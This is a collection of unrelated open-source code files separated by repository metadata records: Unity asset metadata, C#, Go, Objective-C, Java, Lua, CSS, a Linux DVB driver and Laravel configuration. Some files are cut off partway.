backend docs for more.)
Changes to the port API:
* ports now have ``is_input`` and ``is_output`` attributes.
* new functions ``tick2
|
{
"pile_set_name": "Github"
}
| null | null |
fileFormatVersion: 2
guid: 222d3ab738ddda64284a4e37b238bce9
TextureImporter:
internalIDToNameTable: []
externalObjects: {}
serializedVersion: 10
mipmaps:
mipMapMode: 0
enableMipMap: 0
sRGBTexture: 1
linearTexture: 0
fadeOut: 0
borderMipMap: 0
mipMapsPreserveCoverage: 0
alphaTestReferenceValue: 0.5
mipMapFadeDistanceStart: 1
mipMapFadeDistanceEnd: 3
bumpmap:
convertToNormalMap: 0
externalNormalMap: 0
heightScale: 0.25
normalMapFilter: 0
isReadable: 0
streamingMipmaps: 0
streamingMipmapsPriority: 0
grayScaleToAlpha: 0
generateCubemap: 6
cubemapConvolution: 0
seamlessCubemap: 0
textureFormat: 1
maxTextureSize: 2048
textureSettings:
serializedVersion: 2
filterMode: -1
aniso: -1
mipBias: -100
wrapU: 1
wrapV: 1
wrapW: 1
nPOTScale: 0
lightmap: 0
compressionQuality: 50
spriteMode: 1
spriteExtrude: 1
spriteMeshType: 1
alignment: 0
spritePivot: {x: 0.5, y: 0.5}
spritePixelsToUnits: 100
spriteBorder: {x: 0, y: 0, z: 0, w: 0}
spriteGenerateFallbackPhysicsShape: 1
alphaUsage: 1
alphaIsTransparency: 1
spriteTessellationDetail: -1
textureType: 8
textureShape: 1
singleChannelComponent: 0
maxTextureSizeSet: 0
compressionQualitySet: 0
textureFormatSet: 0
platformSettings:
- serializedVersion: 3
buildTarget: DefaultTexturePlatform
maxTextureSize: 2048
resizeAlgorithm: 0
textureFormat: -1
textureCompression: 1
compressionQuality: 50
crunchedCompression: 0
allowsAlphaSplitting: 0
overridden: 0
androidETC2FallbackOverride: 0
forceMaximumCompressionQuality_BC6H_BC7: 0
spriteSheet:
serializedVersion: 2
sprites: []
outline: []
physicsShape: []
bones: []
spriteID: 5e97eb03825dee720800000000000000
internalID: 0
vertices: []
indices:
edges: []
weights: []
secondaryTextures: []
spritePackingTag:
pSDRemoveMatte: 0
pSDShowRemoveMatteOption: 0
userData:
assetBundleName:
assetBundleVariant:
|
{
"pile_set_name": "Github"
}
| null | null |
// ==========================================================================
// Squidex Headless CMS
// ==========================================================================
// Copyright (c) Squidex UG (haftungsbeschraenkt)
// All rights reserved. Licensed under the MIT license.
// ==========================================================================
using System.Collections.Generic;
namespace Squidex.Infrastructure.Migrations
{
public interface IMigrationPath
{
(int Version, IEnumerable<IMigration>? Migrations) GetNext(int version);
}
}
|
{
"pile_set_name": "Github"
}
| null | null |
// Code generated by linux/mkall.go generatePtracePair(mipsle, mips64le). DO NOT EDIT.
// +build linux
// +build mipsle mips64le
package unix
import "unsafe"
// PtraceRegsMipsle is the registers used by mipsle binaries.
type PtraceRegsMipsle struct {
Regs [32]uint64
Lo uint64
Hi uint64
Epc uint64
Badvaddr uint64
Status uint64
Cause uint64
}
// PtraceGetRegsMipsle fetches the registers used by mipsle binaries.
func PtraceGetRegsMipsle(pid int, regsout *PtraceRegsMipsle) error {
return ptrace(PTRACE_GETREGS, pid, 0, uintptr(unsafe.Pointer(regsout)))
}
// PtraceSetRegsMipsle sets the registers used by mipsle binaries.
func PtraceSetRegsMipsle(pid int, regs *PtraceRegsMipsle) error {
return ptrace(PTRACE_SETREGS, pid, 0, uintptr(unsafe.Pointer(regs)))
}
// PtraceRegsMips64le is the registers used by mips64le binaries.
type PtraceRegsMips64le struct {
Regs [32]uint64
Lo uint64
Hi uint64
Epc uint64
Badvaddr uint64
Status uint64
Cause uint64
}
// PtraceGetRegsMips64le fetches the registers used by mips64le binaries.
func PtraceGetRegsMips64le(pid int, regsout *PtraceRegsMips64le) error {
return ptrace(PTRACE_GETREGS, pid, 0, uintptr(unsafe.Pointer(regsout)))
}
// PtraceSetRegsMips64le sets the registers used by mips64le binaries.
func PtraceSetRegsMips64le(pid int, regs *PtraceRegsMips64le) error {
return ptrace(PTRACE_SETREGS, pid, 0, uintptr(unsafe.Pointer(regs)))
}
|
{
"pile_set_name": "Github"
}
| null | null |
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
using Microsoft.Bot.Builder;
namespace Microsoft.Bot.Builder.AI.LuisV3.Tests
{
public class TelemetryConvertResult : IRecognizerConvert
{
public TelemetryConvertResult()
{
}
public void Convert(dynamic @dynamic)
{
}
}
}
|
{
"pile_set_name": "Github"
}
| null | null |
@charset "utf-8";
/* Reset CSS */
html, body, div, span, applet, object, iframe,
h1, h2, h3, h4, h5, h6, p, blockquote, pre,
a, abbr, acronym, address, big, cite, code,
del, dfn, em, font, img, ins, kbd, q, s, samp,
small, strike, strong, sub, sup, tt, var,
b, u, i, center,
dl, dt, dd, ol, ul, li,
fieldset, form, label, legend,
table, caption, tbody, tfoot, thead, tr, th, td {
margin: 0;
padding: 0;
border: 0;
outline: 0;
font-size: 100%;
vertical-align: baseline;
background: transparent;
}
body {
background: #DCDDDF ;
color: #000;
font: 14px Arial;
margin: 0 auto;
padding: 0;
position: relative;
}
h1{ font-size:28px;}
h2{ font-size:26px;}
h3{ font-size:18px;}
h4{ font-size:16px;}
h5{ font-size:14px;}
h6{ font-size:12px;}
h1,h2,h3,h4,h5,h6{ color:#563D64;}
small{ font-size:10px;}
b, strong{ font-weight:bold;}
a{ text-decoration: none; }
a:hover{ text-decoration: underline; }
.clearfix:after,form:after {
content: ".";
display: block;
height: 0;
clear: both;
visibility: hidden;
}
.container { margin:75px auto 0 auto; position: relative; width: 900px; }
#content {
background: #f9f9f9;
background: -moz-linear-gradient(top, rgba(248,248,248,1) 0%, rgba(249,249,249,1) 100%);
background: -webkit-linear-gradient(top, rgba(248,248,248,1) 0%,rgba(249,249,249,1) 100%);
background: -o-linear-gradient(top, rgba(248,248,248,1) 0%,rgba(249,249,249,1) 100%);
background: -ms-linear-gradient(top, rgba(248,248,248,1) 0%,rgba(249,249,249,1) 100%);
background: linear-gradient(top, rgba(248,248,248,1) 0%,rgba(249,249,249,1) 100%);
/* filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#f8f8f8', endColorstr='#f9f9f9',GradientType=0 ); */
-webkit-box-shadow: 0 1px 0 #fff inset;
-moz-box-shadow: 0 1px 0 #fff inset;
-ms-box-shadow: 0 1px 0 #fff inset;
-o-box-shadow: 0 1px 0 #fff inset;
box-shadow: 0 1px 0 #fff inset;
border: 1px solid #c4c6ca;
margin: 0 auto;
padding: 25px 0 0;
position: relative;
text-align: center;
text-shadow: 0 1px 0 #fff;
width: 400px;
}
#content h1 {
color: #7E7E7E;
font: bold 25px Helvetica, Arial, sans-serif;
letter-spacing: -0.05em;
line-height: 20px;
margin: 10px 0 30px;
}
#content h1:before,
#content h1:after {
content: "";
height: 1px;
position: absolute;
top: 10px;
width: 27%;
}
#content h1:after {
background: rgb(126,126,126);
background: -moz-linear-gradient(left, rgba(126,126,126,1) 0%, rgba(255,255,255,1) 100%);
background: -webkit-linear-gradient(left, rgba(126,126,126,1) 0%,rgba(255,255,255,1) 100%);
background: -o-linear-gradient(left, rgba(126,126,126,1) 0%,rgba(255,255,255,1) 100%);
background: -ms-linear-gradient(left, rgba(126,126,126,1) 0%,rgba(255,255,255,1) 100%);
background: linear-gradient(left, rgba(126,126,126,1) 0%,rgba(255,255,255,1) 100%);
right: 0;
}
#content h1:before {
background: rgb(126,126,126);
background: -moz-linear-gradient(right, rgba(126,126,126,1) 0%, rgba(255,255,255,1) 100%);
background: -webkit-linear-gradient(right, rgba(126,126,126,1) 0%,rgba(255,255,255,1) 100%);
background: -o-linear-gradient(right, rgba(126,126,126,1) 0%,rgba(255,255,255,1) 100%);
background: -ms-linear-gradient(right, rgba(126,126,126,1) 0%,rgba(255,255,255,1) 100%);
background: linear-gradient(right, rgba(126,126,126,1) 0%,rgba(255,255,255,1) 100%);
left: 0;
}
#content:after,
#content:before {
background: #f9f9f9;
background: -moz-linear-gradient(top, rgba(248,248,248,1) 0%, rgba(249,249,249,1) 100%);
background: -webkit-linear-gradient(top, rgba(248,248,248,1) 0%,rgba(249,249,249,1) 100%);
background: -o-linear-gradient(top, rgba(248,248,248,1) 0%,rgba(249,249,249,1) 100%);
background: -ms-linear-gradient(top, rgba(248,248,248,1) 0%,rgba(249,249,249,1) 100%);
background: linear-gradient(top, rgba(248,248,248,1) 0%,rgba(249,249,249,1) 100%);
/* filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#f8f8f8', endColorstr='#f9f9f9',GradientType=0 ); */
border: 1px solid #c4c6ca;
content: "";
display: block;
height: 100%;
left: -1px;
position: absolute;
width: 100%;
}
#content:after {
-webkit-transform: rotate(2deg);
-moz-transform: rotate(2deg);
-ms-transform: rotate(2deg);
-o-transform: rotate(2deg);
transform: rotate(2deg);
top: 0;
z-index: -1;
}
#content:before {
-webkit-transform: rotate(-3deg);
-moz-transform: rotate(-3deg);
-ms-transform: rotate(-3deg);
-o-transform: rotate(-3deg);
transform: rotate(-3deg);
top: 0;
z-index: -2;
}
#content form { margin: 0 20px; position: relative }
#content form input[type="text"],
#content form input[type="password"] {
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
-ms-border-radius: 3px;
-o-border-radius: 3px;
border-radius: 3px;
-webkit-box-shadow: 0 1px 0 #fff, 0 -2px 5px rgba(0,0,0,0.08) inset;
-moz-
|
{
"pile_set_name": "Github"
}
| null | null |
//
// RACSerialDisposable.m
// ReactiveCocoa
//
// Created by Justin Spahr-Summers on 2013-07-22.
// Copyright (c) 2013 GitHub, Inc. All rights reserved.
//
#import "RACSerialDisposable.h"
#import <libkern/OSAtomic.h>
@interface RACSerialDisposable () {
// A reference to the receiver's `disposable`. This variable must only be
// modified atomically.
//
// If this is `self`, no `disposable` has been set, but the receiver has not
// been disposed of yet. `self` is never stored retained.
//
// If this is `nil`, the receiver has been disposed.
//
// Otherwise, this is a retained reference to the inner disposable and the
// receiver has not been disposed of yet.
void * volatile _disposablePtr;
}
@end
@implementation RACSerialDisposable
#pragma mark Properties
- (BOOL)isDisposed {
return _disposablePtr == nil;
}
- (RACDisposable *)disposable {
RACDisposable *disposable = (__bridge id)_disposablePtr;
return (disposable == self ? nil : disposable);
}
- (void)setDisposable:(RACDisposable *)disposable {
[self swapInDisposable:disposable];
}
#pragma mark Lifecycle
+ (instancetype)serialDisposableWithDisposable:(RACDisposable *)disposable {
RACSerialDisposable *serialDisposable = [[self alloc] init];
serialDisposable.disposable = disposable;
return serialDisposable;
}
- (id)init {
self = [super init];
if (self == nil) return nil;
_disposablePtr = (__bridge void *)self;
OSMemoryBarrier();
return self;
}
- (id)initWithBlock:(void (^)(void))block {
self = [self init];
if (self == nil) return nil;
self.disposable = [RACDisposable disposableWithBlock:block];
return self;
}
- (void)dealloc {
self.disposable = nil;
}
#pragma mark Inner Disposable
- (RACDisposable *)swapInDisposable:(RACDisposable *)newDisposable {
void * const selfPtr = (__bridge void *)self;
// Only retain the new disposable if it's not `self`.
// Take ownership before attempting the swap so that a subsequent swap
// receives an owned reference.
void *newDisposablePtr = selfPtr;
if (newDisposable != nil) {
newDisposablePtr = (void *)CFBridgingRetain(newDisposable);
}
void *existingDisposablePtr;
// Keep trying while we're not disposed.
while ((existingDisposablePtr = _disposablePtr) != NULL) {
if (!OSAtomicCompareAndSwapPtrBarrier(existingDisposablePtr, newDisposablePtr, &_disposablePtr)) {
continue;
}
// Return nil if _disposablePtr was set to self. Otherwise, release
// the old value and return it as an object.
if (existingDisposablePtr == selfPtr) {
return nil;
} else {
return CFBridgingRelease(existingDisposablePtr);
}
}
// At this point, we've found out that we were already disposed.
[newDisposable dispose];
// Failed to swap, clean up the ownership we took prior to the swap.
if (newDisposable != nil) {
CFRelease(newDisposablePtr);
}
return nil;
}
#pragma mark Disposal
- (void)dispose {
void *existingDisposablePtr;
while ((existingDisposablePtr = _disposablePtr) != NULL) {
if (OSAtomicCompareAndSwapPtrBarrier(existingDisposablePtr, NULL, &_disposablePtr)) {
if (existingDisposablePtr != (__bridge void *)self) {
RACDisposable *existingDisposable = CFBridgingRelease(existingDisposablePtr);
[existingDisposable dispose];
}
break;
}
}
}
@end
|
{
"pile_set_name": "Github"
}
| null | null |
// Copyright 2013 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows
package ipv6
import (
"net"
"golang.org/x/net/bpf"
"golang.org/x/net/internal/socket"
)
func (so *sockOpt) getMulticastInterface(c *socket.Conn) (*net.Interface, error) {
return nil, errNotImplemented
}
func (so *sockOpt) setMulticastInterface(c *socket.Conn, ifi *net.Interface) error {
return errNotImplemented
}
func (so *sockOpt) getICMPFilter(c *socket.Conn) (*ICMPFilter, error) {
return nil, errNotImplemented
}
func (so *sockOpt) setICMPFilter(c *socket.Conn, f *ICMPFilter) error {
return errNotImplemented
}
func (so *sockOpt) getMTUInfo(c *socket.Conn) (*net.Interface, int, error) {
return nil, 0, errNotImplemented
}
func (so *sockOpt) setGroup(c *socket.Conn, ifi *net.Interface, grp net.IP) error {
return errNotImplemented
}
func (so *sockOpt) setSourceGroup(c *socket.Conn, ifi *net.Interface, grp, src net.IP) error {
return errNotImplemented
}
func (so *sockOpt) setBPF(c *socket.Conn, f []bpf.RawInstruction) error {
return errNotImplemented
}
|
{
"pile_set_name": "Github"
}
| null | null |
/*
* Solution to Project Euler problem 17
* Copyright (c) Project Nayuki. All rights reserved.
*
* https://www.nayuki.io/page/project-euler-solutions
* https://github.com/nayuki/Project-Euler-solutions
*/
public final class p017 implements EulerSolution {
public static void main(String[] args) {
System.out.println(new p017().run());
}
/*
* - For the numbers 0 to 19, we write the single word:
* {zero, one, two, three, four, five, six, seven, eight, nine,
* ten, eleven, twelve, thirteen, fourteen, fifteen, sixteen, seventeen, eighteen, nineteen}.
* - For the numbers 20 to 99, we write the word for the tens place:
* {twenty, thirty, forty, fifty, sixty, seventy, eighty, ninety}.
* Subsequently if the last digit is not 0, then we write the word for the ones place (one to nine).
* - For the numbers 100 to 999, we write the ones word for the hundreds place followed by "hundred":
* {one hundred, two hundred, three hundred, ..., eight hundred, nine hundred}.
* Subsequently if the last two digits are not 00, then we write the word "and"
* followed by the phrase for the last two digits (from 01 to 99).
* - For the numbers 1000 to 999999, we write the word for the three digits starting at the
* thousands place and going leftward, followed by "thousand". Subsequently if the last three
* digits are not 000, then we write the phrase for the last three digits (from 001 to 999).
*/
public String run() {
int sum = 0;
for (int i = 1; i <= 1000; i++)
sum += toEnglish(i).length();
return Integer.toString(sum);
}
private static String toEnglish(int n) {
if (0 <= n && n < 20)
return ONES[n];
else if (20 <= n && n < 100)
return TENS[n / 10] + (n % 10 != 0 ? ONES[n % 10] : "");
else if (100 <= n && n < 1000)
return ONES[n / 100] + "hundred" + (n % 100 != 0 ? "and" + toEnglish(n % 100) : "");
else if (1000 <= n && n < 1000000)
return toEnglish(n / 1000) + "thousand" + (n % 1000 != 0 ? toEnglish(n % 1000) : "");
else
throw new IllegalArgumentException();
}
private static String[] ONES = {
"zero", "one", "two", "three", "four", "five", "six", "seven", "eight", "nine",
"ten", "eleven", "twelve", "thirteen", "fourteen", "fifteen", "sixteen", "seventeen", "eighteen", "nineteen"};
private static String[] TENS = {
"", "", "twenty", "thirty", "forty", "fifty", "sixty", "seventy", "eighty", "ninety"};
}
|
{
"pile_set_name": "Github"
}
| null | null |
// Copyright 2018 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build go1.11
package http2
import (
"net/http/httptrace"
"net/textproto"
)
func traceHasWroteHeaderField(trace *httptrace.ClientTrace) bool {
return trace != nil && trace.WroteHeaderField != nil
}
func traceWroteHeaderField(trace *httptrace.ClientTrace, k, v string) {
if trace != nil && trace.WroteHeaderField != nil {
trace.WroteHeaderField(k, []string{v})
}
}
func traceGot1xxResponseFunc(trace *httptrace.ClientTrace) func(int, textproto.MIMEHeader) error {
if trace != nil {
return trace.Got1xxResponse
}
return nil
}
|
{
"pile_set_name": "Github"
}
| null | null |
base
bit.lua +bit
math
string
table
coroutine
ffi +ffi
contents.lua
|
{
"pile_set_name": "Github"
}
| null | null |
/*
* pluto2.c - Satelco Easywatch Mobile Terrestrial Receiver [DVB-T]
*
* Copyright (C) 2005 Andreas Oberritter <obi@linuxtv.org>
*
* based on pluto2.c 1.10 - http://instinct-wp8.no-ip.org/pluto/
* by Dany Salman <salmandany@yahoo.fr>
* Copyright (c) 2004 TDF
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*
*/
#include <linux/i2c.h>
#include <linux/i2c-algo-bit.h>
#include <linux/init.h>
#include <linux/interrupt.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/pci.h>
#include <linux/dma-mapping.h>
#include <linux/slab.h>
#include "demux.h"
#include "dmxdev.h"
#include "dvb_demux.h"
#include "dvb_frontend.h"
#include "dvb_net.h"
#include "dvbdev.h"
#include "tda1004x.h"
DVB_DEFINE_MOD_OPT_ADAPTER_NR(adapter_nr);
#define DRIVER_NAME "pluto2"
#define REG_PIDn(n) ((n) << 2) /* PID n pattern registers */
#define REG_PCAR 0x0020 /* PC address register */
#define REG_TSCR 0x0024 /* TS ctrl & status */
#define REG_MISC 0x0028 /* miscellaneous */
#define REG_MMAC 0x002c /* MSB MAC address */
#define REG_IMAC 0x0030 /* ISB MAC address */
#define REG_LMAC 0x0034 /* LSB MAC address */
#define REG_SPID 0x0038 /* SPI data */
#define REG_SLCS 0x003c /* serial links ctrl/status */
#define PID0_NOFIL (0x0001 << 16)
#define PIDn_ENP (0x0001 << 15)
#define PID0_END (0x0001 << 14)
#define PID0_AFIL (0x0001 << 13)
#define PIDn_PID (0x1fff << 0)
#define TSCR_NBPACKETS (0x00ff << 24)
#define TSCR_DEM (0x0001 << 17)
#define TSCR_DE (0x0001 << 16)
#define TSCR_RSTN (0x0001 << 15)
#define TSCR_MSKO (0x0001 << 14)
#define TSCR_MSKA (0x0001 << 13)
#define TSCR_MSKL (0x0001 << 12)
#define TSCR_OVR (0x0001 << 11)
#define TSCR_AFUL (0x0001 << 10)
#define TSCR_LOCK (0x0001 << 9)
#define TSCR_IACK (0x0001 << 8)
#define TSCR_ADEF (0x007f << 0)
#define MISC_DVR (0x0fff << 4)
#define MISC_ALED (0x0001 << 3)
#define MISC_FRST (0x0001 << 2)
#define MISC_LED1 (0x0001 << 1)
#define MISC_LED0 (0x0001 << 0)
#define SPID_SPIDR (0x00ff << 0)
#define SLCS_SCL (0x0001 << 7)
#define SLCS_SDA (0x0001 << 6)
#define SLCS_CSN (0x0001 << 2)
#define SLCS_OVR (0x0001 << 1)
#define SLCS_SWC (0x0001 << 0)
#define TS_DMA_PACKETS (8)
#define TS_DMA_BYTES (188 * TS_DMA_PACKETS)
#define I2C_ADDR_TDA10046 0x10
#define I2C_ADDR_TUA6034 0xc2
#define NHWFILTERS 8
struct pluto {
/* pci */
struct pci_dev *pdev;
u8 __iomem *io_mem;
/* dvb */
struct dmx_frontend hw_frontend;
struct dmx_frontend mem_frontend;
struct dmxdev dmxdev;
struct dvb_adapter dvb_adapter;
struct dvb_demux demux;
struct dvb_frontend *fe;
struct dvb_net dvbnet;
unsigned int full_ts_users;
unsigned int users;
/* i2c */
struct i2c_algo_bit_data i2c_bit;
struct i2c_adapter i2c_adap;
unsigned int i2cbug;
/* irq */
unsigned int overflow;
unsigned int dead;
/* dma */
dma_addr_t dma_addr;
u8 dma_buf[TS_DMA_BYTES];
u8 dummy[4096];
};
static inline struct pluto *feed_to_pluto(struct dvb_demux_feed *feed)
{
return container_of(feed->demux, struct pluto, demux);
}
static inline struct pluto *frontend_to_pluto(struct dvb_frontend *fe)
{
return container_of(fe->dvb, struct pluto, dvb_adapter);
}
static inline u32 pluto_readreg(struct pluto *pluto, u32 reg)
{
return readl(&pluto->io_mem[reg]);
}
static inline void pluto_writereg(struct pluto *pluto, u32 reg, u32 val)
{
writel(val, &pluto->io_mem[reg]);
}
static inline void pluto_rw(struct pluto *pluto, u32 reg, u32 mask, u32 bits)
{
u32 val = readl(&pluto->io_mem[reg]);
val &= ~mask;
val |= bits;
writel(val, &pluto->io_mem[reg]);
}
static void pluto_write_tscr(struct pluto *pluto, u32 val)
{
/* set the number of packets */
val &= ~TSCR_ADEF;
val |= TS_DMA_PACKETS / 2;
pluto_writereg(pluto, REG_TSCR, val);
}
static void pluto_setsda(void *data, int state)
{
struct pluto *pluto = data;
if (state)
pluto_rw(pluto, REG_SLCS, SLCS_SDA, SLCS_SDA);
else
pluto_rw(pluto, REG_SLCS, SLCS_SDA, 0);
}
static void pluto_setscl(void *data, int state)
{
struct pluto *pluto = data;
if (state)
pluto_rw(pluto, REG_SLCS, SLCS_SCL, SLCS_SCL);
else
pluto_rw(pluto, REG_SLCS, SLCS_SCL, 0);
/* try to detect i2c_inb
|
{
"pile_set_name": "Github"
}
| null | null |
/* animation sets */
/* move from / to */
.pt-page-moveToLeft {
-webkit-animation: moveToLeft .6s ease both;
animation: moveToLeft .6s ease both;
}
.pt-page-moveFromLeft {
-webkit-animation: moveFromLeft .6s ease both;
animation: moveFromLeft .6s ease both;
}
.pt-page-moveToRight {
-webkit-animation: moveToRight .6s ease both;
animation: moveToRight .6s ease both;
}
.pt-page-moveFromRight {
-webkit-animation: moveFromRight .6s ease both;
animation: moveFromRight .6s ease both;
}
.pt-page-moveToTop {
-webkit-animation: moveToTop .6s ease both;
animation: moveToTop .6s ease both;
}
.pt-page-moveFromTop {
-webkit-animation: moveFromTop .6s ease both;
animation: moveFromTop .6s ease both;
}
.pt-page-moveToBottom {
-webkit-animation: moveToBottom .6s ease both;
animation: moveToBottom .6s ease both;
}
.pt-page-moveFromBottom {
-webkit-animation: moveFromBottom .6s ease both;
animation: moveFromBottom .6s ease both;
}
/* fade */
.pt-page-fade {
-webkit-animation: fade .7s ease both;
animation: fade .7s ease both;
}
/* move from / to and fade */
.pt-page-moveToLeftFade {
-webkit-animation: moveToLeftFade .7s ease both;
animation: moveToLeftFade .7s ease both;
}
.pt-page-moveFromLeftFade {
-webkit-animation: moveFromLeftFade .7s ease both;
animation: moveFromLeftFade .7s ease both;
}
.pt-page-moveToRightFade {
-webkit-animation: moveToRightFade .7s ease both;
animation: moveToRightFade .7s ease both;
}
.pt-page-moveFromRightFade {
-webkit-animation: moveFromRightFade .7s ease both;
animation: moveFromRightFade .7s ease both;
}
.pt-page-moveToTopFade {
-webkit-animation: moveToTopFade .7s ease both;
animation: moveToTopFade .7s ease both;
}
.pt-page-moveFromTopFade {
-webkit-animation: moveFromTopFade .7s ease both;
animation: moveFromTopFade .7s ease both;
}
.pt-page-moveToBottomFade {
-webkit-animation: moveToBottomFade .7s ease both;
animation: moveToBottomFade .7s ease both;
}
.pt-page-moveFromBottomFade {
-webkit-animation: moveFromBottomFade .7s ease both;
animation: moveFromBottomFade .7s ease both;
}
/* move to with different easing */
.pt-page-moveToLeftEasing {
-webkit-animation: moveToLeft .7s ease-in-out both;
animation: moveToLeft .7s ease-in-out both;
}
.pt-page-moveToRightEasing {
-webkit-animation: moveToRight .7s ease-in-out both;
animation: moveToRight .7s ease-in-out both;
}
.pt-page-moveToTopEasing {
-webkit-animation: moveToTop .7s ease-in-out both;
animation: moveToTop .7s ease-in-out both;
}
.pt-page-moveToBottomEasing {
-webkit-animation: moveToBottom .7s ease-in-out both;
animation: moveToBottom .7s ease-in-out both;
}
/********************************* keyframes **************************************/
/* move from / to */
@-webkit-keyframes moveToLeft {
from { }
to { -webkit-transform: translateX(-100%); }
}
@keyframes moveToLeft {
from { }
to { -webkit-transform: translateX(-100%); transform: translateX(-100%); }
}
@-webkit-keyframes moveFromLeft {
from { -webkit-transform: translateX(-100%); }
}
@keyframes moveFromLeft {
from { -webkit-transform: translateX(-100%); transform: translateX(-100%); }
}
@-webkit-keyframes moveToRight {
from { }
to { -webkit-transform: translateX(100%); }
}
@keyframes moveToRight {
from { }
to { -webkit-transform: translateX(100%); transform: translateX(100%); }
}
@-webkit-keyframes moveFromRight {
from { -webkit-transform: translateX(100%); }
}
@keyframes moveFromRight {
from { -webkit-transform: translateX(100%); transform: translateX(100%); }
}
@-webkit-keyframes moveToTop {
from { }
to { -webkit-transform: translateY(-100%); }
}
@keyframes moveToTop {
from { }
to { -webkit-transform: translateY(-100%); transform: translateY(-100%); }
}
@-webkit-keyframes moveFromTop {
from { -webkit-transform: translateY(-100%); }
}
@keyframes moveFromTop {
from { -webkit-transform: translateY(-100%); transform: translateY(-100%); }
}
@-webkit-keyframes moveToBottom {
from { }
to { -webkit-transform: translateY(100%); }
}
@keyframes moveToBottom {
from { }
to { -webkit-transform: translateY(100%); transform: translateY(100%); }
}
@-webkit-keyframes moveFromBottom {
from { -webkit-transform: translateY(100%); }
}
@keyframes moveFromBottom {
from { -webkit-transform: translateY(100%); transform: translateY(100%); }
}
/* fade */
@-webkit-keyframes fade {
from { }
to { opacity: 0.3; }
}
@keyframes fade {
from { }
to { opacity: 0.3; }
}
/* move from / to and fade */
@-webkit-keyframes moveToLeftFade {
from { }
to { opacity: 0.3; -webkit-transform: translateX(-100%); }
}
@keyframes moveToLeftFade {
from { }
to { opacity: 0.3; -webkit-transform: translateX(-100%); transform: translateX(-100%); }
}
@-webkit-keyframes moveFromLeftFade {
from { opacity: 0.3; -webkit-transform: translateX(-100%); }
}
@keyframes moveFromLeftFade {
from { opacity: 0.3; -webkit-transform: translateX(-100%); transform: translateX(-100%); }
}
@-webkit-keyframes moveToRightFade {
from { }
to { opacity: 0.3; -webkit-transform: translateX(100%); }
}
@keyframes moveToRightFade {
from { }
to { opacity: 0.3; -webkit-transform: translateX(100%); transform: translateX(100%); }
}
@-webkit-keyframes moveFromRightFade {
from { opacity: 0.3; -webkit-transform: translateX(100%); }
}
@keyframes moveFromRightFade {
from { opacity: 0.3; -webkit-transform: translateX(100%); transform: translateX(100%); }
}
@-webkit-keyframes moveToTopFade {
from { }
to { opacity: 0.3; -webkit-transform: translateY(-100%); }
}
@keyframes moveToTopFade {
from { }
to { opacity: 0.3; -webkit-transform: translateY(-100%); transform: translateY(-100%); }
}
@-webkit-keyframes moveFromTopFade {
from { opacity
|
{
"pile_set_name": "Github"
}
| null | null |
<?php
use Illuminate\Support\Str;
return [
/*
|--------------------------------------------------------------------------
| Default Cache Store
|--------------------------------------------------------------------------
|
| This option controls the default cache connection that gets used while
| using this caching library. This connection is used when another is
| not explicitly specified when executing a given caching function.
|
| Supported: "apc", "array", "database", "file",
| "memcached", "redis", "dynamodb"
|
*/
'default' => env('CACHE_DRIVER', 'file'),
/*
|--------------------------------------------------------------------------
| Cache Stores
|--------------------------------------------------------------------------
|
| Here you may define all of the cache "stores" for your application as
| well as their drivers. You may even define multiple stores for the
| same cache driver to group types of items stored in your caches.
|
*/
'stores' => [
'apc' => [
'driver' => 'apc',
],
'array' => [
'driver' => 'array',
],
'database' => [
'driver' => 'database',
'table' => 'cache',
'connection' => null,
],
'file' => [
'driver' => 'file',
'path' => storage_path('framework/cache/data'),
],
'memcached' => [
'driver' => 'memcached',
'persistent_id' => env('MEMCACHED_PERSISTENT_ID'),
'sasl' => [
env('MEMCACHED_USERNAME'),
env('MEMCACHED_PASSWORD'),
],
'options' => [
// Memcached::OPT_CONNECT_TIMEOUT => 2000,
],
'servers' => [
[
'host' => env('MEMCACHED_HOST', '127.0.0.1'),
'port' => env('MEMCACHED_PORT', 11211),
'weight' => 100,
],
],
],
'redis' => [
'driver' => 'redis',
'connection' => 'cache',
],
'dynamodb' => [
'driver' => 'dynamodb',
'key' => env('AWS_ACCESS_KEY_ID'),
'secret' => env('AWS_SECRET_ACCESS_KEY'),
'region' => env('AWS_DEFAULT_REGION', 'us-east-1'),
'table' => env('DYNAMODB_CACHE_TABLE', 'cache'),
'endpoint' => env('DYNAMODB_ENDPOINT'),
],
],
/*
|--------------------------------------------------------------------------
| Cache Key Prefix
|--------------------------------------------------------------------------
|
| When utilizing a RAM based store such as APC or Memcached, there might
| be other applications utilizing the same cache. So, we'll specify a
| value to get prefixed to all our keys so we can avoid collisions.
|
*/
'prefix' => env('CACHE_PREFIX', Str::slug(env('APP_NAME', 'laravel'), '_').'_cache'),
];
|
{
"pile_set_name": "Github"
}
| null | null |
namespace KindleHelper
{
partial class FormTocList
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null)) {
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormTocList));
this.listview_toc = new System.Windows.Forms.ListView();
this.SuspendLayout();
//
// listview_toc
//
this.listview_toc.FullRowSelect = true;
this.listview_toc.Location = new System.Drawing.Point(12, 12);
this.listview_toc.Name = "listview_toc";
this.listview_toc.Size = new System.Drawing.Size(548, 453);
this.listview_toc.TabIndex = 0;
this.listview_toc.UseCompatibleStateImageBehavior = false;
